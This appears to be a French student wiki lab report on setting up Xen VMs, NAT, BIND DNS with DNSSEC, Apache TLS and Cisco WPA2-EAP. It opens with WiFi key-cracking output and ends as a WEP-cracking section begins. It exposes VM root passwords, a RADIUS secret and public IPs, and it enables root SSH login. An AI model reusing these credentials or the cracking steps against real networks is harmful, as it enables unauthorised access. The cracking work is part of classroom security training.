                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12168</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12168"/>
		<updated>2026-02-10T15:36:03Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
